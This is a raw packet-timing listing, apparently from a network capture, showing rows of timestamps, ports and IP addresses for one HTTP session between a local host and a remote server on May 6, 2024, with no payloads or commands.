May 6, 2024 02:52:47.976047039 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.976095915 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.012391090 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.012406111 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.012511969 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.012571096 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.012613058 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.012644053 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.012686014 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.013339043 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.013381958 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.013649940 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.013691902 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.014091969 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.014103889 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.014134884 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.014175892 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.014354944 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.014368057 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.014395952 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.014410019 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.014514923 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.014558077 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.015119076 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.015132904 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.015178919 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.015192032 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.015786886 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.015847921 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.015917063 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.015966892 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.016243935 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.016290903 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.016346931 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.016396999 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.017004013 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.017016888 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.017028093 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.017047882 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.017079115 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.017132998 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.017175913 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.017277956 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.017318964 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.017558098 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.017605066 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.017680883 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.017725945 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.017755985 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.017800093 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.018347025 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.018393993 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.018562078 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.018613100 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.018614054 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.018651962 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.018894911 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.018943071 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.055258989 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.055325985 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.055356026 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.055366993 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.055495024 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.055546045 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.055854082 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.055902958 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.056016922 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.056067944 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.056452036 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.056497097 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.056679010 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.056726933 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.056925058 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.056972027 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.057269096 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.057281971 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.057313919 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.057327986 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.057600021 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.057646990 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.057931900 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.057976961 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.058140993 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.058187962 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.058526039 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.058573961 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.058826923 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.058840036 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.058873892 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.058882952 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.059492111 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.059539080 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.059598923 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.059645891 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.059714079 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.059765100 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.059897900 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.059945107 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.060096025 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.060142040 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.060219049 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.060260057 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.060614109 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.060659885 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.060760975 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.060807943 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.061113119 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.061158895 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.061248064 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.061292887 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.061346054 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.061393976 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.061903954 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.061949968 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103252888 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103269100 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103308916 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103321075 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103329897 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103343010 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103353977 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103369951 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103384018 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103400946 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103430986 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103473902 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103492975 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103528023 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103539944 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103579998 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103590965 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103604078 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103615046 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103626966 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103637934 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103640079 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103647947 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103652000 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103678942 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103686094 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103689909 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103699923 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103709936 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103713036 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103724003 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103730917 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103737116 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103748083 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103754044 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103776932 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103782892 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103785038 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103796959 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103806973 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103820086 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103832960 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103858948 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.103945971 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.103990078 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.104334116 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.104378939 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.104506969 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.104552031 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.105726957 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.105773926 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.145844936 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.145906925 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.145912886 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.145953894 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.146085024 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.146132946 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.146142006 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.146183014 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.146532059 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.146578074 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.146694899 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.146709919 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.146742105 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.146755934 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.147150040 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.147203922 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.147310972 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.147325039 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.147352934 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.147371054 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.147763014 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.147841930 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.191785097 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.191847086 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.191857100 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.191907883 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.191987038 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.192037106 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.192220926 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.192605972 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.242409945 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.242428064 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.242456913 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.242470980 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.242487907 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.242511988 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.242511988 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.242549896 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.243017912 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.243058920 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.243218899 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.243264914 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.243334055 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.243383884 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244220972 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244262934 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244333029 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244344950 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244355917 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244369030 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244373083 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244396925 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244421959 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244468927 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244481087 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244493008 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244505882 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244510889 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244517088 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244529009 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244530916 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244544029 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244556904 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244559050 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244570017 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244613886 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244630098 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244642973 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244652987 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244666100 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244677067 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244679928 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244687080 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244693041 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244703054 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244714975 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244715929 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244729042 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.244743109 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244755983 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.244784117 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.245048046 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.245094061 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.245646000 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.245692968 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.245701075 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.245740891 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.246131897 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.246145010 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.246176958 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.246186972 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.246757984 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.246804953 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.246850967 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.246896982 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.274765015 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.274820089 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.284404993 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.284467936 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.284472942 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.284507036 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.284682035 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.284735918 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.284804106 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.284852982 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.286144972 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.286158085 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.286191940 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.286205053 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.286366940 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.286412954 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.287095070 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.287142038 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.287266970 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.287303925 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.287312984 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.287343025 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.287837982 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.287885904 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.287941933 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.287990093 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.288413048 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.288460016 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.288527966 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.288573980 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.288898945 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.288942099 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.289150000 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.289196968 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.289410114 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.289455891 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.317646980 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.317699909 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.326719999 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.326776981 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.326818943 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.326863050 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.327037096 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.327079058 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.327263117 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.327311039 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.328351021 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.328399897 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.328512907 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.328560114 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.329427958 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.329473019 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.329493046 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.329535007 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.330256939 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.330271959 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.330305099 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.330321074 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.330423117 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.330470085 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.330574036 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.330585957 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.330631018 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.330722094 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.331207037 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.331218958 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.331250906 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.331260920 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.331672907 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.331722021 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.332143068 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.332190990 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.332360029 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.332391977 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.332407951 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.332431078 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.365360022 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.365437031 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.369210005 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.369285107 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.369430065 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.369478941 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.369520903 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.369564056 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.370650053 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.370662928 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:48.370697975 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:48.370721102 CEST	49710	80	192.168.2.6	31.41.44.147
